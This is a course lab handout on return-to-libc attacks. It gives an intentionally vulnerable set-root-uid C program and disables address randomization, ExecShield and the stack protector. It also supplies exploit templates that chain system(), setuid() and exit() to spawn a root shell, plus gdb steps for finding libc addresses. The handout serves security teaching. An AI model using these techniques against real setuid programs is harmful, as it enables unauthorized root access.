Description
1 Lab Overview
The learning objective of this project is for students to gain the first-hand experience on an interesting variant
of buffer-overflow attack; this attack can bypass an existing protection scheme currently implemented in
major Linux operating systems. A common way to exploit a buffer-overflow vulnerability is to overflow the
buffer with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode that is
stored in the stack. To prevent these types of attacks, some operating systems (for example Fedora) allow
system administrators to make stacks non-executable; therefore, jumping to the shellcode will cause the
program to fail.
Unfortunately, the above protection scheme is not fool-proof; there exists a variant of buffer-overflow
attack called the return-to-libc attack, which does not need an executable stack; it does not even use
shell code. Instead, it causes the vulnerable program to jump to some existing code, such as the system()
function in the libc library, which is already loaded into the memory.
In this lab, students are given a program with a buffer-overflow vulnerability; their task is to develop a
return-to-libc attack to exploit the vulnerability and finally to gain the root privilege. In addition to
the attacks, students will be guided to walk through several protection schemes that have been implemented
in Ubuntu to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes
work or not and explain why.
2 Lab Tasks
2.1 Lab Environment
You can execute the lab tasks using the preconfigured Ubuntu machine. 1Ubuntu and several other
Linux-based systems use address space randomization to randomize the starting address of heap and stack.
This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of bufferoverflow attacks. In this lab, we disable this feature using the following command:
$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
ExecShield Protection: Fedora linux implements a protection mechanism called ExecShield by default,
but Ubuntu systems do not have this protection by default. ExecShield essentially disallows executing any
code that is stored in the stack. As a result, buffer-overflow attacks that have the exploit code in the stack
will not work. To disable ExecShield in Fedora, you may use the following command.
$ su root
1We have tested this lab in Ubuntu Ver.9.04. It should also work for the most recent Ubuntu versions.
Project 1: Return-to-libc exploits – CSE 608,
Password: (enter root password)
# sysctl -w kernel.exec-shield=0
Because return-to-libc attacks should work in presence of this protection, you need not disable this feature
if you are using a Fedora machine.
Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs,
many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool”
a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the
shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic
link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell
program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines contains a zsh
installation. If you are using other linux systems that do not contain zsh by default, you have to install zsh
for doing the lab. For example, in Fedora linux systems you may use the following procedure to install zsh
$ su
Password: (enter root password)
# wget ftp://rpmfind.net/linux/fedora/(continue on the next line)
core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm
# rpm -ivh zsh-4.2.1-2.i386.rpm
The following instructions describe how to link the zsh program to /bin/sh.
# cd /bin
# rm sh
# ln -s /bin/zsh /bin/sh
Furthermore, the GCC compiler implements a security mechanism called ”Stack Guard” to prevent
buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are comiling the program using the switch -fno-stack-protector. For example, to compile
a program example.c with Stack Guard disabled, you may use the following command:
gcc -fno-stack-protector example.c
Note for Instructors: For this lab, a lab session is desirable, especially if students are not familiar with
the tools and the enviornments. If an instructor plans to hold a lab session (by himself/herself or by a TA),
it is suggested the following to be covered in the lab session 2
:
1. The use of the virtual machine software.
2. Basic use of gdb debug commands and stack stucture.
3. Configuring the lab environment.
2We assume that the instructor has already covered the concepts of the attacks in the lecture, so we do not include them in the
lab session.
Project 1: Return-to-libc exploits – CSE 608,
2.2 The Vulnerable Program
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include
#include
#include
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen(“badfile”, “r”);
bof(badfile);
printf(“Returned Properly\n”);
fclose(badfile);
return 1;
}
Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the
root account, and chmod the executable to 4755:
$ su root
Password (enter root password)
# gcc -fno-stack-protector -o retlib retlib.c
# chmod 4755 retlib
# exit
The above program has a buffer overflow vulnerability. It first reads an input of size 40 bytes from
a file called “badfile” into a buffer of size 12, causing the overflow. The function fread() does not check
boundaries, so buffer overflow will occur. Since this program is a set-root-uid program, if a normal user
can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be
noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our
objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents
into its buffer, a root shell can be spawned.
Project 1: Return-to-libc exploits – CSE 608,
2.3 Task 1: Exploiting the Vulnerability
Create the badfile. You may use the following framework to create one.
/* exploit_1.c */
#include
#include
#include
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(“./badfile”, “w”);
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = some address ; // “/bin/sh”
*(long *) &buf[Y] = some address ; // system()
*(long *) &buf[Z] = some address ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
You need to figure out the values for those addresses, as well as to find out where to store those addresses.
If you incorrectly calculate the locations, your attack might not work.
After you finish the above program, compile and run it; this will generate the contents for “badfile”. Run
the vulnerable program retlib. If your exploit is implemented correctly, when the function bof returns, it
will return to the system() libc function, and execute system(“/bin/sh”). If the vulnerable program
is running with the root privilege, you can get the root shell at this point.
It should be noted that the exit() function is not very necessary for this attack; however, without this
function, when system() returns, the program might crash, causing suspitions.
$ gcc -o exploit_1 exploit_1.c
$./exploit_1 // create the badfile
$./retlib // launch the attack by running the vulnerable program
# <—- You’ve got a root shell!
2.4 Task 2: Protection in /bin/bash
Now, we let /bin/sh point to /bin/bash, and run the same attack developed in the previous task. Can
you get a shell? Is the shell the root shell? What has happened? It appears that there is some protection
mechanism in bash that makes the attack unsuccessful. Actually, bash automatically downgrade its privilege if it is executed in Set-UID root context; this way, even if you can invoke bash, you will not gain
the root privilege.
Project 1: Return-to-libc exploits – CSE 608,
$ su root
Password: (enter root password)
# cd /bin
# rm sh
# ln -s bash sh // link /bin/sh to /bin/bash
# exit
$./retlib // launch the attack by running the vulnerable program
However, there are ways to get around this protection scheme. Although /bin/bash has restriction
on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the
current Set-UID process into a real root process, before invoking /bin/bash, you can bypass that
restriction of bash. The setuid(0) system call can help you achieve that. Therefore, you need to
first invoke setuid(0), and then invoke system(“/bin/sh”); all of these have to be done using the
return-to-libc mechanism. The incomplete exploit code is given in the following:
/* exploit_2.c */
#include
#include
#include
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(“./badfile”, “w”);
/* You need to decide the addresses and
the values for W, X, Y, Z */
/* You need to decide the addresses and
the values for W, X, Y, Z. The order of the following
four statements does not imply the order of W, X, Y, Z. */
*(long *) &buf[W] = some address ; // system()
*(long *) &buf[X] = some address ; // address of “/bin/sh”
*(long *) &buf[Y] = some address ; // setuid()
*(long *) &buf[Z] = 0; // parameter for setuid
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
2.5 Task 3: Address Randomization and Stack Smash Protection
Now, we turn on the Ubuntu’s address randomization and Stack Smash Protection. We run the same attack
developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization and stack smash protection make your attacks difficult? You should describe your observation and
explanation in your lab report. You can use the following instructions to turn on the address randomization:
$ su root
Project 1: Return-to-libc exploits – CSE 608,
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
Compile the vulnerable program retlib.c as shown below:
$ su root
Password (enter root password)
# gcc -o retlib retlib.c
# chmod 4755 retlib
# exit
3 Guidelines: Understanding the function call mechanism
3.1 Find out the addresses of libc functions
To find out the address of any libc function, you can use the following gdb commands (a.out is an
arbitrary program):
$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
$1 = {} 0x9b4550
(gdb) p exit
$2 = {} 0x9a9b70
From the above gdb commands, we can find out that the address for the system() function is
0x9b4550, and the address for the exit() function is 0x9a9b70. The actual addresses in your system might be different from these numbers.
3.2 Putting the shell string in the memory
One of the challenge in this lab is to put the string “/bin/sh” into the memory, and get its address. This
can be achieved using environment variables. When a C program is executed, it inherits all the environment
variables from the shell that executes it. The environment variable SHELL points directly to /bin/bash
and is needed by other programs, so we introduce a new shell variable MYSHELL and make it point to zsh
$ export MYSHELL=/bin/sh
We will use the address of this variable as an argument to system() call. The location of this variable
in the memory can be found out easily using the following program:
void main(){
char* shell = getenv(“MYSHELL”);
if (shell)
printf(“%x\n”, (unsigned int)shell);
}
Project 1: Return-to-libc exploits – CSE 608,
If the address randomization is turned off, you will find out that the same address is printed out. However,
when you run the vulnerabile program retlib, the address of the environment variable might not be
exactly the same as the one that you get by running the above program; such an address can even change
when you change the name of your program (the number of characters in the file name makes difference).
The good news is, the address of the shell will be quite close to what you print out using the above program.
Therefore, you might need to try a few times to succeed.
3.3 Understand the Stack
To know how to conduct the return-to-libc attack, it is essential to understand how the stack works.
We use a small C program to understand the effects of a function invocation on the stack.
/* foobar.c */
#include
void foo(int x)
{
printf(“Hello world: %d\n”, x);
}
int main()
{
foo(1);
return 0;
}
We can use “gcc -S foobar.c” to compile this program to the assembly code. The resulting file
foobar.s will look like the following:
……
8 foo:
9 pushl %ebp
10 movl %esp, %ebp
11 subl $8, %esp
12 movl 8(%ebp), %eax
13 movl %eax, 4(%esp)
14 movl $.LC0, (%esp) : string “Hello world: %d\n”
15 call printf
16 leave
17 ret
……
21 main:
22 leal 4(%esp), %ecx
23 andl $-16, %esp
24 pushl -4(%ecx)
25 pushl %ebp
26 movl %esp, %ebp
27 pushl %ecx
28 subl $4, %esp
29 movl $1, (%esp)
Project 1: Return-to-libc exploits – CSE 608,
esp
variables
bfffe764
bfffe760
bfffe75c
bfffe758
Parameters
Return addr
Old ebp
00000001
080483dc
bfffe768
bfffe750
(d) Line 11: subl $8, %esp
esp
ebp
bfffe764
bfffe760
bfffe75c
00000001
Return addr 080483dc
Parameters
esp
(b) Line 30: call foo
bfffe764
bfffe760 00000001 Parameters
esp
Line 29: movl $1, (%esp)
(a) Line 28: subl $4, %esp
bfffe764
bfffe760
bfffe75c
bfffe758
Parameters
Return addr
Old ebp
00000001
080483dc
bfffe768
esp ebp
(c) Line 9: push %ebp
Line 10: movl %esp, %ebp
(e) Line 16: leave (f) Line 17: ret
bfffe764
bfffe760
bfffe75c
00000001
Return addr 080483dc
Parameters
esp
bfffe764
bfffe760 00000001 Parameters
Local
Figure 1: Entering and Leaving foo()
30 call foo
31 movl $0, %eax
32 addl $4, %esp
33 popl %ecx
34 popl %ebp
35 leal -4(%ecx), %esp
36 ret
3.4 Calling and Entering foo()
Let us concentrate on the stack while calling foo(). We can ignore the stack before that. Please note that
line numbers instead of instruction addresses are used in this explanation.
• Line 28-29:: These two statements push the value 1, i.e. the argument to the foo(), into the stack.
This operation increments %esp by four. The stack after these two statements is depicted in Figure 1(a).
• Line 30: call foo: The statement pushes the address of the next instruction that immediately
follows the call statement into the stack (i.e the return address), and then jumps to the code of
foo(). The current stack is depicted in Figure 1(b).
• Line 9-10: The first line of the function foo() pushes %ebp into the stack, to save the previous
frame pointer. The second line lets %ebp point to the current frame. The current stack is depicted in
Figure 1(c).
• Line 11: subl $8, %esp: The stack pointer is modified to allocate space (8 bytes) for local
Project 1: Return-to-libc exploits – CSE 608,
variables and the two arguments passed to printf. Since there is no local variable in function foo,
the 8 bytes are for arguments only. See Figure 1(d).
3.5 Leaving foo()
Now the control has passed to the function foo(). Let us see what happens to the stack when the function
returns.
• Line 16: leave: This instruction implicitly performs two instructions (it was a macro in earlier x86
releases, but was made into an instruction later):
mov %ebp, %esp
pop %ebp
The first statement release the stack space allocated for the function; the second statement recover the
previous frame pointer. The current stack is depicted in Figure 1(e).
• Line 17: ret: This instruction simply pops the return address out of the stack, and then jump to the
return address. The current stack is depicted in Figure 1(f).
• Line 32: addl $4, %esp: Further resotre the stack by releasing more memories allocated for
foo. As you can clearly see that the stack is now in exactly the same state as it was before entering
the function foo (i.e., before line 28).
4 Report and Submission
Each student is required to submit a zip file as the deliverable, which contains:
• a PDF report describing the task-solving process, results, encountered challenges, a discussion on
gained knowledge, and etc (no more than 5 pages in total);
• all program source files and the resulting executables.
The zip file should be named as ”Proj1-[CampusID]-[last name].zip”.
5 Copyright Notice
Copyright
c 2006 – 2013 Wenliang Du, Syracuse University.
The development of this document is funded by the National Science Foundation’s Course, Curriculum, and
Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted
to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License,
Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can be
found at http://www.gnu.org/licenses/fdl.html.
Project 1: Return-to-libc exploits – CSE 608,
References
[1] c0ntext Bypassing non-executable-stack during exploitation using return-to-libc
http://www.infosecwriters.com/text resources/pdf/return-to-libc.pdf
[2] Phrack by Nergal Advanced return-to-libc exploit(s) Phrack 49, Volume 0xb, Issue 0x3a. Available at
http://www.phrack.org/archives/58/p58-0x04
